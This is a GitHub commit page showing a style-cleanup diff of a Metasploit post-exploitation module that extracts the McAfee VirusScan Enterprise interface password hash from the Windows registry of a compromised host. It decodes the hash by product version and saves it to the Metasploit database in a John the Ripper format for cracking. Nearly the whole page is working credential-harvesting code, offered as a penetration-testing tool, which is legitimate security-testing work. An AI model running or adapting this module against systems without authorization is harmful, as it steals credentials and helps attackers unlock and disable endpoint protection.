Skip to content

Commit ce89d39

Browse files
committed
Merge pull request #1 from jhart-r7/landing-4503-jhart
Ruby/Metasploit style cleanup of McAfee hashdump module
2 parents 89699d1 + 5c12f9d commit ce89d39

File tree

1 file changed

+108
-72
lines changed

1 file changed

+108
-72
lines changed

modules/post/windows/gather/credentials/mcafee_hashdump.rb

Lines changed: 108 additions & 72 deletions
Original file line numberDiff line numberDiff line change
@@ -9,98 +9,134 @@
99
require 'rex/proto/rfb'
1010

1111
class Metasploit3 < Msf::Post
12-
1312
include Msf::Post::Windows::Registry
1413
include Msf::Auxiliary::Report
1514
include Msf::Post::Windows::UserProfiles
1615

17-
def initialize(info={})
18-
super( update_info( info,
19-
'Name' => 'McAfee Virus Scan Enterprise Password Hashes Dump',
20-
'Description' => %q{ This module extracts the password
21-
hash from McAfee Virus Scan Enterprise used to lock down the user interface.
22-
Credits: Maurizio inode Agazzini},
23-
'License' => MSF_LICENSE,
24-
'Author' => [ 'Mike Manzotti <michelemanzotti[at]gmail.com>'],
25-
'Platform' => [ 'win' ],
26-
'SessionTypes' => [ 'meterpreter' ]
27-
))
16+
VERSION_5 = Gem::Version.new('5.0')
17+
VERSION_6 = Gem::Version.new('6.0')
18+
VERSION_8 = Gem::Version.new('8.0')
19+
VERSION_9 = Gem::Version.new('9.0')
2820

21+
def initialize(info = {})
22+
super(update_info(
23+
info,
24+
'Name' => 'McAfee Virus Scan Enterprise Password Hashes Dump',
25+
'Description' => %q(
26+
This module extracts the password hash from McAfee Virus Scan
27+
Enterprise used to lock down the user interface.
28+
),
29+
'License' => MSF_LICENSE,
30+
'Author' => [
31+
'Mike Manzotti <michelemanzotti[at]gmail.com>', # Metasploit module?
32+
'Maurizio inode Agazzini' # original research?
33+
],
34+
'Platform' => [ 'win' ],
35+
'SessionTypes' => [ 'meterpreter' ]
36+
))
2937
end
3038

31-
def run
32-
print_status("Checking McAfee password hash on #{sysinfo['Computer']} ...")
33-
34-
# Checking if McAfee 64bit can be found in the registry keys
35-
check_reg = 'HKLM\\Software\\Wow6432Node\\McAfee\\DesktopProtection'
36-
subkeys = registry_enumkeys(check_reg)
37-
if subkeys.nil? or subkeys.empty?
38-
39-
# Checking for McAfee 32bit
40-
check_reg = 'HKLM\\Software\\McAfee\\DesktopProtection'
41-
subkeys = registry_enumkeys(check_reg)
42-
if subkeys.nil? or subkeys.empty?
43-
print_error ("McAfee Not Installed or No Permissions to RegKey")
44-
return
39+
def enum_vse_keys
40+
vprint_status('Enumerating McAfee VSE installations')
41+
keys = []
42+
[
43+
'HKLM\\Software\\Wow6432Node\\McAfee\\DesktopProtection', # 64-bit
44+
'HKLM\\Software\\McAfee\\DesktopProtection' # 32-bit
45+
].each do |key|
46+
subkeys = registry_enumkeys(key)
47+
keys << key unless subkeys.empty?
48+
end
49+
keys
50+
end
51+
52+
def extract_hashes_and_versions(keys)
53+
vprint_status("Attempting to extract hashes from #{keys.size} McAfee VSE installations")
54+
hash_map = {}
55+
keys.each do |key|
56+
hash = registry_getvaldata(key, "UIPEx")
57+
if hash.empty?
58+
vprint_error("No McAfee password hash found in #{key}")
59+
next
4560
end
46-
end
47-
48-
mcafee_hash = registry_getvaldata(check_reg, "UIPEx")
49-
if mcafee_hash == nil or mcafee_hash == ""
50-
print_error ("Could not find McAfee password hash")
51-
return
52-
else
53-
#Base64 decode mcafee_hash
54-
mcafee_version = registry_getvaldata(check_reg, "szProductVer")
55-
if mcafee_version.split(".")[0] == "8"
56-
mcafee_hash = Rex::Text.to_hex(Rex::Text.decode_base64(mcafee_hash),"")
57-
print_good("McAfee v8 password hash => #{mcafee_hash}");
58-
hashtype = "dynamic_1405"
59-
elsif mcafee_version.split(".")[0] == "5"
60-
print_good("McAfee v5 password hash => #{mcafee_hash}");
61-
hashtype = "md5u"
62-
else
63-
print_status("Could not identify the version of McAfee - Assuming v8")
64-
end
65-
66-
67-
# report
61+
62+
version = registry_getvaldata(key, "szProductVer")
63+
if version.empty?
64+
vprint_error("No McAfee version key found in #{key}")
65+
next
66+
end
67+
hash_map[hash] = Gem::Version.new(version)
68+
end
69+
hash_map
70+
end
71+
72+
def process_hashes_and_versions(hashes_and_versions)
73+
hashes_and_versions.each do |hash, version|
74+
if version >= VERSION_8 && version < VERSION_9
75+
# Base64 decode hash
76+
hash = Rex::Text.to_hex(Rex::Text.decode_base64(hash), "")
77+
print_good("McAfee v8 password hash: #{hash}")
78+
hashtype = 'dynamic_1405'
79+
elsif version >= VERSION_5 && version < VERSION_6
80+
print_good("McAfee v5 password hash: #{hash}")
81+
hashtype = 'md5u'
82+
else
83+
print_warning("Could not identify the version of McAfee - Assuming v8")
84+
print_good("McAfee v8 password hash: #{hash}")
85+
hashtype = 'dynamic_1405'
86+
end
87+
88+
# report
6889
service_data = {
69-
address: ::Rex::Socket.getaddress(session.sock.peerhost, true),
70-
port: rport,
71-
service_name: 'McAfee',
72-
protocol: 'tcp',
73-
workspace_id: myworkspace_id
90+
address: ::Rex::Socket.getaddress(session.sock.peerhost, true),
91+
port: rport,
92+
service_name: 'McAfee',
93+
protocol: 'tcp',
94+
workspace_id: myworkspace_id
7495
}
75-
96+
7697
# Initialize Metasploit::Credential::Core object
7798
credential_data = {
78-
post_reference_name: self.refname,
79-
origin_type: :session,
80-
private_type: :password,
81-
private_data: mcafee_hash,
82-
session_id: session_db_id,
83-
jtr_format: hashtype,
84-
workspace_id: myworkspace_id,
85-
username: "null"
86-
}
87-
99+
post_reference_name: refname,
100+
origin_type: :session,
101+
private_type: :password,
102+
private_data: hash,
103+
session_id: session_db_id,
104+
jtr_format: hashtype,
105+
workspace_id: myworkspace_id,
106+
username: "null"
107+
}
108+
88109
# Merge the service data into the credential data
89110
credential_data.merge!(service_data)
90-
111+
91112
# Create the Metasploit::Credential::Core object
92113
credential_core = create_credential(credential_data)
93114

94115
# Assemble the options hash for creating the Metasploit::Credential::Login object
95-
login_data ={
96-
core: credential_core,
97-
status: Metasploit::Model::Login::Status::UNTRIED
116+
login_data = {
117+
core: credential_core,
118+
status: Metasploit::Model::Login::Status::UNTRIED
98119
}
99120

100-
# Merge in the service data and create our Login
101-
login_data.merge!(service_data)
102-
login = create_credential_login(login_data)
103-
121+
# Merge in the service data and create our Login
122+
create_credential_login(login_data.merge!(service_data))
123+
end
124+
end
125+
126+
def run
127+
print_status("Looking for McAfee password hashes on #{sysinfo['Computer']} ...")
128+
129+
vse_keys = enum_vse_keys
130+
if vse_keys.empty?
131+
vprint_error("McAfee Virus Scan Enterprise not installed or insufficient permissions")
132+
return
133+
end
134+
135+
hashes_and_versions = extract_hashes_and_versions(vse_keys)
136+
if hashes_and_versions.empty?
137+
vprint_error("No hashes extracted")
138+
return
104139
end
140+
process_hashes_and_versions(hashes_and_versions)
105141
end
106142
end

0 commit comments

Comments
 (0)